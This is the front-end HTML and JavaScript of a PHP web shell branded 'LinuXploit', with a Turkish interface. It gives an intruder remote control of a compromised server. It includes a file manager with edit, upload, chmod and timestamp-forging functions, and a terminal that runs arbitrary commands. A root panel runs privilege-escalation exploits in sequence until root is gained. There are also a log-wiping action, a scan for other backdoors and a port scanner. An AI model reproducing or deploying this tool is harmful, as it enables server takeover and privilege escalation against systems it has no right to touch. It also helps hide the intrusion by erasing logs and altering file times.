<div id="newfolder-modal" class="modal-overlay"><div class="modal-box"><h3>📁 Yeni Klasor</h3><input type="text" id="newfolder-ad" placeholder="Klasor adi"><br><button onclick="newfolderKaydet()">Olustur</button> <button onclick="document.getElementById('newfolder-modal').style.display='none'">Kapat</button></div></div>
<div id="contextMenu"></div>

<script>
var canvas = document.getElementById('matrix-canvas');
var ctx = canvas.getContext('2d');
function resizeCanvas(){ canvas.width = window.innerWidth; canvas.height = window.innerHeight; }
resizeCanvas(); window.addEventListener('resize', resizeCanvas);
var alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ヲァィゥェォャュョッアイウエオカキクケコサシスセソ';
var drops = Array(Math.floor(canvas.width/14)).fill(1);
setInterval(function(){
    ctx.fillStyle = 'rgba(0,0,0,0.05)';
    ctx.fillRect(0,0,canvas.width,canvas.height);
    ctx.fillStyle = '#0f0';
    ctx.font = '14px monospace';
    for(var i=0;i<drops.length;i++){
        ctx.fillText(alphabet.charAt(Math.floor(Math.random()*alphabet.length)), i*14, drops[i]*14);
        if(drops[i]*14 > canvas.height && Math.random() > 0.975) drops[i]=0;
        drops[i]++;
    }
}, 33);

var openWindows = {};
var zIndexCounter = 100;
var currentDir = '<?php echo $mevcutDizin; ?>';
var gorunumModu = 'ikon';
var historyStack = [currentDir];
var historyIndex = 0;

function openWindow(id){
    var win = document.getElementById('win-'+id);
    if(!win) return;
    win.style.display = 'flex';
    win.style.zIndex = ++zIndexCounter;
    win.classList.add('active');
    openWindows[id] = true;
    updateTaskbar();
    if(id==='finder') finderYukle(currentDir, false);
    if(id==='terminal') document.getElementById('term-cikti').scrollTop = document.getElementById('term-cikti').scrollHeight;
}
function closeWindow(id){
    document.getElementById('win-'+id).style.display='none';
    document.getElementById('win-'+id).classList.remove('maximized');
    delete openWindows[id];
    updateTaskbar();
}
function minimizeWindow(id){
    document.getElementById('win-'+id).style.display='none';
}
function toggleMaximize(id){
    var win = document.getElementById('win-'+id);
    if(win.classList.contains('maximized')){
        win.classList.remove('maximized');
        win.style.top = win.dataset.oldTop || '50px';
        win.style.left = win.dataset.oldLeft || '50px';
        win.style.width = win.dataset.oldWidth || '850px';
        win.style.height = win.dataset.oldHeight || '550px';
    } else {
        win.dataset.oldTop = win.style.top;
        win.dataset.oldLeft = win.style.left;
        win.dataset.oldWidth = win.style.width;
        win.dataset.oldHeight = win.style.height;
        win.classList.add('maximized');
    }
}
function updateTaskbar(){
    var tb = document.getElementById('taskbar');
    tb.innerHTML = '';
    for(var id in openWindows){
        var btn = document.createElement('span');
        btn.className = 'taskbar-item';
        var titleEl = document.querySelector('#win-'+id+' .win-title');
        btn.textContent = titleEl ? titleEl.textContent : id;
        btn.onclick = function(i){ return function(){ openWindow(i); }; }(id);
        tb.appendChild(btn);
    }
}
function dragStart(e, winId){
    var win = document.getElementById('win-'+winId);
    if(win.classList.contains('maximized')) return;
    var shiftX = e.clientX - win.getBoundingClientRect().left;
    var shiftY = e.clientY - win.getBoundingClientRect().top;
    function moveAt(e){
        win.style.left = (e.clientX - shiftX) + 'px';
        win.style.top = (e.clientY - shiftY) + 'px';
    }
    document.addEventListener('mousemove', moveAt);
    document.addEventListener('mouseup', function(){
        document.removeEventListener('mousemove', moveAt);
    }, {once: true});
}

function ajaxPost(params, cb){
    var xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onload = function(){ cb(JSON.parse(xhr.responseText)); };
    xhr.send(params);
}
function ajaxGet(act, data, cb){
    var p = 'ajax_action='+act;
    for(var k in data) p += '&'+k+'='+encodeURIComponent(data[k]);
    ajaxPost(p, cb);
}
function escapeHtml(unsafe){
    return unsafe.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;");
}

function finderYukle(dizin, addToHistory){
    if(addToHistory !== false){
        historyStack = historyStack.slice(0, historyIndex + 1);
        historyStack.push(dizin);
        historyIndex = historyStack.length - 1;
    }
    currentDir = dizin;
    document.getElementById('finder-adres').value = dizin;
    buildSidebarTree(dizin);
    finderIcerikYukle(dizin);
}
function finderIcerikYukle(dizin){
    var main = document.getElementById('finder-main');
    if(gorunumModu==='ikon'){
        main.className = 'finder-main ikon-gorunum';
        ajaxGet('listdir', {dizin: dizin}, function(res){
            main.innerHTML = res.html;
            bindFinderEvents();
        });
    } else {
        main.className = 'finder-main liste-gorunum';
        ajaxGet('listtable', {dizin: dizin}, function(res){
            main.innerHTML = res.html;
            bindFinderEvents();
        });
    }
}
function buildSidebarTree(targetDir){
    var sidebar = document.getElementById('finder-sidebar');
    sidebar.innerHTML = '';
    var rootNode = createTreeNode('/', '/', true);
    sidebar.appendChild(rootNode);
    if(targetDir !== '/'){
        expandToPath(targetDir, sidebar);
    } else {
        loadSubdirsForNode(rootNode, '/');
    }
}
function createTreeNode(name, fullPath, isRoot){
    var div = document.createElement('div');
    div.className = 'agac-dizin';
    div.dataset.yol = fullPath;
    var ok = document.createElement('span');
    ok.className = 'agac-ok';
    ok.textContent = '▶';
    ok.addEventListener('click', function(e){
        e.stopPropagation();
        toggleTreeNode(this.parentElement);
    });
    var icon = document.createElement('span');
    icon.textContent = '📁';
    var label = document.createElement('span');
    label.className = 'agac-isim';
    label.textContent = name || '/';
    div.appendChild(ok);
    div.appendChild(icon);
    div.appendChild(label);
    var childrenDiv = document.createElement('div');
    childrenDiv.className = 'agac-cocuklar';
    childrenDiv.style.display = 'none';
    childrenDiv.style.marginLeft = '16px';
    div.appendChild(childrenDiv);
    div.addEventListener('click', function(e){
        if(e.target === ok) return;
        finderYukle(fullPath);
    });
    return div;
}
function toggleTreeNode(nodeElement){
    var childrenDiv = nodeElement.querySelector('.agac-cocuklar');
    var ok = nodeElement.querySelector('.agac-ok');
    var yol = nodeElement.dataset.yol;
    if(childrenDiv.style.display === 'none' || !childrenDiv.style.display){
        if(childrenDiv.children.length === 0){
            loadSubdirsForNode(nodeElement, yol);
        }
        childrenDiv.style.display = 'block';
        ok.classList.add('acik');
    } else {
        childrenDiv.style.display = 'none';
        ok.classList.remove('acik');
    }
}
function loadSubdirsForNode(nodeElement, yol){
    var childrenDiv = nodeElement.querySelector('.agac-cocuklar');
    childrenDiv.innerHTML = '<div style="padding:2px 10px;color:#666;">Yukleniyor...</div>';
    ajaxGet('get_subdirs', {dizin: yol}, function(res){
        childrenDiv.innerHTML = '';
        var tempDiv = document.createElement('div');
        tempDiv.innerHTML = res.html;
        var childNodes = tempDiv.querySelectorAll('.agac-dizin');
        for(var i=0; i<childNodes.length; i++){
            var child = childNodes[i];
            var childPath = child.dataset.yol;
            var childName = child.querySelector('.agac-isim').textContent;
            var newChild = createTreeNode(childName, childPath);
            childrenDiv.appendChild(newChild);
        }
    });
}
function expandToPath(targetPath, container){
    if(targetPath === '/') return;
    var parts = targetPath.split('/').filter(function(p){ return p; });
    var currentPath = '';
    function expandNext(index, parentContainer){
        if(index >= parts.length) return;
        currentPath += '/' + parts[index];
        var node = parentContainer.querySelector('.agac-dizin[data-yol="'+currentPath+'"]');
        if(!node){
            var parentNode = parentContainer.closest('.agac-dizin');
            if(parentNode){
                var childrenDiv = parentNode.querySelector('.agac-cocuklar');
                ajaxGet('get_subdirs', {dizin: parentNode.dataset.yol}, function(res){
                    childrenDiv.innerHTML = '';
                    var tempDiv = document.createElement('div');
                    tempDiv.innerHTML = res.html;
                    var childNodes = tempDiv.querySelectorAll('.agac-dizin');
                    for(var i=0; i<childNodes.length; i++){
                        var child = childNodes[i];
                        var cp = child.dataset.yol;
                        var cn = child.querySelector('.agac-isim').textContent;
                        var newChild = createTreeNode(cn, cp);
                        childrenDiv.appendChild(newChild);
                    }
                    expandNext(index, parentContainer);
                });
                return;
            }
        }
        if(node){
            node.classList.add('active');
            var childrenDiv = node.querySelector('.agac-cocuklar');
            childrenDiv.style.display = 'block';
            node.querySelector('.agac-ok').classList.add('acik');
            if(childrenDiv.children.length === 0){
                loadSubdirsForNode(node, currentPath);
            }
            expandNext(index + 1, childrenDiv);
        }
    }
    expandNext(0, container);
}
function bindFinderEvents(){
    var items = document.querySelectorAll('#finder-main .ikon-item, #finder-main .dosya-satir');
    for(var i=0; i<items.length; i++){
        items[i].addEventListener('dblclick', function(){
            var yol = this.dataset.yol;
            var tip = this.dataset.tip;
            if(tip==='dizin') finderYukle(yol);
            else {
                var ext = yol.split('.').pop().toLowerCase();
                if(['txt','php','html','css','js','py','sh','log','md','json','xml','ini','conf'].indexOf(ext) !== -1){
                    ajaxGet('get_dosya_icerik', {yol: yol}, function(d){
                        if(d.icerik){
                            document.getElementById('edit-icerik').value = d.icerik;
                            document.getElementById('edit-modal').style.display='flex';
                            window._editYol = yol;
                        }
                    });
                } else {
                    downloadFile(yol);
                }
            }
        });
        items[i].addEventListener('contextmenu', function(e){
            e.preventDefault();
            contextYol = this.dataset.yol;
            contextTip = this.dataset.tip;
            showContextMenu(e);
        });
    }
}
function downloadFile(yol){
    var a = document.createElement('a');
    a.href = window.location.href+'?ajax_action=download&yol='+encodeURIComponent(yol);
    a.download = '';
    a.click();
}
function finderGeri(){
    if(historyIndex > 0){
        historyIndex--;
        finderYukle(historyStack[historyIndex], false);
    }
}
function finderIleri(){
    if(historyIndex < historyStack.length - 1){
        historyIndex++;
        finderYukle(historyStack[historyIndex], false);
    }
}
function finderGit(dizin){ if(dizin) finderYukle(dizin); }
function finderUstGit(){ finderYukle(currentDir.split('/').slice(0,-1).join('/')||'/'); }
function finderYenile(){ finderYukle(currentDir, false); }
function finderAra(){
    var terim = document.getElementById('finder-arama').value.toLowerCase();
    var items = document.querySelectorAll('#finder-main .ikon-item, #finder-main .dosya-satir');
    for(var i=0; i<items.length; i++){
        var isimEl = items[i].querySelector('.ikon-isim');
        var isim = isimEl ? isimEl.textContent : '';
        if(!isim){
            var tdEl = items[i].querySelector('td');
            isim = tdEl ? tdEl.textContent : '';
        }
        items[i].style.display = isim.toLowerCase().indexOf(terim) !== -1 ? '' : 'none';
    }
}
function finderToggleGorunum(){
    gorunumModu = gorunumModu==='ikon'?'liste':'ikon';
    document.getElementById('finder-gorunum-btn').textContent = gorunumModu==='ikon'?'🗂️ Ikon':'📋 Liste';
    finderIcerikYukle(currentDir);
}
function finderYeniDosya(){
    document.getElementById('newfile-modal').style.display='flex';
    document.getElementById('newfile-ad').value='';
    document.getElementById('newfile-icerik').value='';
}
function newfileKaydet(){
    var ad = document.getElementById('newfile-ad').value.trim();
    if(!ad) return alert('Dosya adi girin');
    var icerik = document.getElementById('newfile-icerik').value;
    ajaxPost('ajax_action=yeni_dosya_olustur&dizin='+encodeURIComponent(currentDir)+'&dosyaAdi='+encodeURIComponent(ad)+'&icerik='+encodeURIComponent(icerik), function(d){
        if(d.basari){
            document.getElementById('newfile-modal').style.display='none';
            finderYenile();
        } else alert('Olusturulamadi');
    });
}
function finderYeniKlasor(){
    document.getElementById('newfolder-modal').style.display='flex';
    document.getElementById('newfolder-ad').value='';
}
function newfolderKaydet(){
    var ad = document.getElementById('newfolder-ad').value.trim();
    if(!ad) return alert('Klasor adi girin');
    ajaxPost('ajax_action=mkdir&dizin='+encodeURIComponent(currentDir)+'&isim='+encodeURIComponent(ad), function(d){
        if(d.basari){
            document.getElementById('newfolder-modal').style.display='none';
            finderYenile();
        } else alert('Olusturulamadi');
    });
}
function finderUpload(input){
    var file = input.files[0];
    if(!file) return;
    var formData = new FormData();
    formData.append('ajax_action','upload');
    formData.append('dizin',currentDir);
    formData.append('file',file);
    fetch(window.location.href,{method:'POST',body:formData})
    .then(function(r){ return r.json(); })
    .then(function(d){
        alert(d.mesaj || (d.basari ? 'Yuklendi' : 'Hata'));
        if(d.basari) finderYenile();
    })
    .catch(function(err){
        alert('Yukleme sirasinda bir hata olustu: ' + err.message);
    });
    input.value='';
}

var contextYol, contextTip;
function showContextMenu(e){
    var menu = document.getElementById('contextMenu');
    var html = '';
    if(contextTip==='dosya') html += '<div onclick="dosyaDuzenle()">✏️ Duzenle</div>';
    html += '<div onclick="dosyaSil()">🗑️ Sil</div><div onclick="dosyaRename()">✍️ Yeniden Adlandir</div><div onclick="dosyaChmod()">🔑 Izin Degistir</div><div onclick="dosyaTouch()">🕒 Zaman Degistir</div><div onclick="dosyaKopyala()">📋 Kopyala</div>';
    if(contextTip==='dosya') html += '<div onclick="dosyaIndir()">📥 Indir</div>';
    if(contextTip==='dosya' && contextYol.match(/\.(zip|tar|tar\.gz|tar\.bz2)$/i)) html += '<div onclick="dosyaUnzip()">📦 Buraya Cikar</div>';
    menu.innerHTML = html;
    menu.style.display = 'block';
    menu.style.left = e.pageX+'px';
    menu.style.top = e.pageY+'px';
}
document.addEventListener('click',function(){ document.getElementById('contextMenu').style.display='none'; });
document.getElementById('desktop').addEventListener('contextmenu',function(e){
    if(e.target!==this) return;
    e.preventDefault();
    var menu = document.getElementById('contextMenu');
    menu.innerHTML = '<div onclick="dosyaYapistir()">📌 Yapistir</div>';
    menu.style.display = 'block';
    menu.style.left = e.pageX+'px';
    menu.style.top = e.pageY+'px';
});

function dosyaDuzenle(){
    ajaxGet('get_dosya_icerik',{yol:contextYol},function(d){
        if(d.icerik){
            document.getElementById('edit-icerik').value = d.icerik;
            document.getElementById('edit-modal').style.display='flex';
            window._editYol = contextYol;
        }
    });
}
function editKaydet(){
    ajaxPost('ajax_action=kaydet_dosya&yol='+encodeURIComponent(window._editYol)+'&icerik='+encodeURIComponent(document.getElementById('edit-icerik').value),function(d){
        if(d.basari){
            alert('Kaydedildi');
            document.getElementById('edit-modal').style.display='none';
            finderYenile();
        }
    });
}
function dosyaSil(){
    if(confirm('Silinsin mi?')) ajaxGet('sil',{yol:contextYol},function(d){ if(d.basari) finderYenile(); });
}
function dosyaRename(){
    var yeni = prompt('Yeni ad:', contextYol.split('/').pop());
    if(yeni) ajaxGet('rename',{eski:contextYol, yeni:yeni},function(d){ if(d.basari) finderYenile(); });
}
function dosyaChmod(){
    document.getElementById('chmod-dosya').textContent = contextYol;
    document.getElementById('chmod-modal').style.display='flex';
}
function chmodKaydet(){
    ajaxGet('chmod',{yol:contextYol, mod:document.getElementById('chmod-deger').value},function(d){
        document.getElementById('chmod-modal').style.display='none';
        if(d.basari) finderYenile();
    });
}
function dosyaTouch(){
    document.getElementById('touch-dosya').textContent = contextYol;
    document.getElementById('touch-modal').style.display='flex';
}
function touchKaydet(){
    ajaxGet('touch',{yol:contextYol, tarih:document.getElementById('touch-tarih').value},function(d){
        document.getElementById('touch-modal').style.display='none';
        finderYenile();
    });
}
function dosyaKopyala(){ ajaxGet('kopyala',{yol:contextYol},function(d){ alert(d.mesaj); }); }
function dosyaIndir(){ downloadFile(contextYol); }
function dosyaUnzip(){ ajaxGet('unzip',{yol:contextYol},function(d){ alert(d.cikti); finderYenile(); }); }
function dosyaYapistir(){
    if(confirm('Panodaki dosya bu dizine yapistirilsin mi?'))
        ajaxGet('yapistir',{dizin:currentDir},function(d){ alert(d.mesaj); finderYenile(); });
}

function termCalistir(){
    var komut = document.getElementById('term-komut').value.trim();
    if(!komut) return;
    document.getElementById('term-komut').value = '';
    var ciktiDiv = document.getElementById('term-cikti');
    ciktiDiv.innerHTML += '<div><span style="color:#0f0">$ '+escapeHtml(komut)+'</span></div>';
    ajaxGet('terminal',{komut:komut},function(d){
        ciktiDiv.innerHTML += '<div>'+escapeHtml(d.cikti).replace(/\n/g,'<br>')+'</div>';
        ciktiDiv.scrollTop = ciktiDiv.scrollHeight;
    });
}
function termTemizle(){ ajaxGet('terminal_temizle',{},function(){ document.getElementById('term-cikti').innerHTML=''; }); }

var currentExploit=1, rootFound=false, counters={basarili:0,basarisiz:0,pasif:0}, currentFilter='tum';

function resetRootTestState(){
    counters = {basarili:0,basarisiz:0,pasif:0};
    currentExploit = 1;
    rootFound = false;
    currentFilter = 'tum';
    var filterCards = document.querySelectorAll('#win-root .filter-card');
    if(filterCards.length > 0){
        filterCards[0].classList.add('active');
        for(var i=1; i<filterCards.length; i++) filterCards[i].classList.remove('active');
    }
    updateCounters();
    document.getElementById('root-listesi').innerHTML = '';
}

async function startRootTests(total){
    if(total===0){ alert('Exploit listesi bos!'); return; }
    resetRootTestState();
    document.getElementById('root-btn').disabled = true;
    document.getElementById('progress-container').style.display = 'block';
    while(currentExploit <= total && !rootFound){
        updateProgress(Math.round(((currentExploit-1)/total)*100), 'Test '+currentExploit+'/'+total);
        try{
            var resp = await fetch(window.location.href, {method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'ajax_action=run_exploit_batch&exploit_id='+currentExploit});
            var result = await resp.json();
            if(result.status === 'success'){
                counters[result.durum]++;
                updateCounters();
                var div = document.createElement('div');
                div.className = 'root-result ' + result.durum;
                div.innerHTML = '<p><b>'+result.exploit_id+':</b> '+result.baslik+' - <span style="color:'+(result.durum==='basarili'?'lime':'red')+'">'+result.durum+'</span></p><pre style="font-size:11px;">'+escapeHtml(result.cikti)+'</pre>';
                document.getElementById('root-listesi').prepend(div);
                if(result.is_root) rootFound = true;
            } else break;
        }catch(e){
            counters.basarisiz++;
            updateCounters();
        }
        currentExploit++;
    }
    updateProgress(rootFound?100:Math.round(((currentExploit-1)/total)*100), rootFound?'🎉 ROOT!':'Bitti');
    document.getElementById('root-btn').disabled = false;
    filtrele(currentFilter, document.querySelector('#win-root .filter-card.active'));
}

function updateProgress(p, t){
    document.getElementById('progress-bar').style.width = p+'%';
    document.getElementById('progress-text').textContent = t;
}
function updateCounters(){
    var cards = document.querySelectorAll('#win-root .filter-card');
    if(cards.length >= 4){
        cards[1].textContent = 'Basarili ('+counters.basarili+')';
        cards[2].textContent = 'Basarisiz ('+counters.basarisiz+')';
        cards[3].textContent = 'Pasif ('+counters.pasif+')';
    }
}
function filtrele(kat, el){
    currentFilter = kat;
    var cards = document.querySelectorAll('#win-root .filter-card');
    for(var i=0; i<cards.length; i++) cards[i].classList.remove('active');
    el.classList.add('active');
    var results = document.querySelectorAll('#root-listesi .root-result');
    for(var i=0; i<results.length; i++){
        if(kat === 'tum' || results[i].classList.contains(kat)){
            results[i].classList.remove('hidden');
        } else {
            results[i].classList.add('hidden');
        }
    }
}

function logTemizleForm(){
    ajaxGet('log_temizle', {}, function(d){
        document.getElementById('guvenlik-cikti').innerHTML = d.mesaj;
    });
}
function backdoorTaraForm(){
    var ciktiDiv = document.getElementById('guvenlik-cikti');
    ciktiDiv.innerHTML = '<p style="color:#0f0;">Tarama yapiliyor, lutfen bekleyin...</p>';
    var dizin = document.getElementById('tara-dizin').value;
    ajaxGet('backdoor_tara', {dizin: dizin}, function(d){
        var html = '';
        if (!d.basari) {
            html = '<p style="color:red;">' + d.mesaj + '</p>';
        } else if (d.sonuc.length === 0) {
            html = '<p>Supheli dosya bulunamadi.</p>';
        } else {
            html = '<ul>';
            for (var i = 0; i < d.sonuc.length; i++) {
                var item = d.sonuc[i];
                html += '<li>';
                html += '<span class="dosya-link" data-yol="' + escapeHtml(item.dosya) + '" style="color:#0ff;cursor:pointer;text-decoration:underline;">' + escapeHtml(item.dosya) + '</span>';
                html += ' - <b>' + item.sayi + '</b> supheli fonksiyon';
                html += ' <small style="color:#aaa;">[' + escapeHtml(item.suskunlar.join(', ')) + ']</small>';
                html += '</li>';
            }
            html += '</ul>';
        }
        ciktiDiv.innerHTML = html;

        var links = document.querySelectorAll('#guvenlik-cikti .dosya-link');
        for (var j = 0; j < links.length; j++) {
            links[j].addEventListener('click', function() {
                contextYol = this.dataset.yol;
                contextTip = 'dosya';
                dosyaDuzenle();
            });
            links[j].addEventListener('contextmenu', function(e){
                e.preventDefault();
                contextYol = this.dataset.yol;
                contextTip = 'dosya';
                showContextMenu(e);
            });
        }
    });
}
function agTaraForm(){
    var ciktiDiv = document.getElementById('ag-cikti');
    ciktiDiv.innerHTML = '<p style="color:#0f0;">Tarama yapiliyor...</p>';
    ajaxGet('ag_tara', {hedef: document.getElementById('agHedef').value, portlar: document.getElementById('agPortlar').value}, function(d){
        ciktiDiv.innerHTML = '<pre>' + d.mesaj + '</pre>';
    });
}

setTimeout(function(){ openWindow('finder'); }, 500);
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit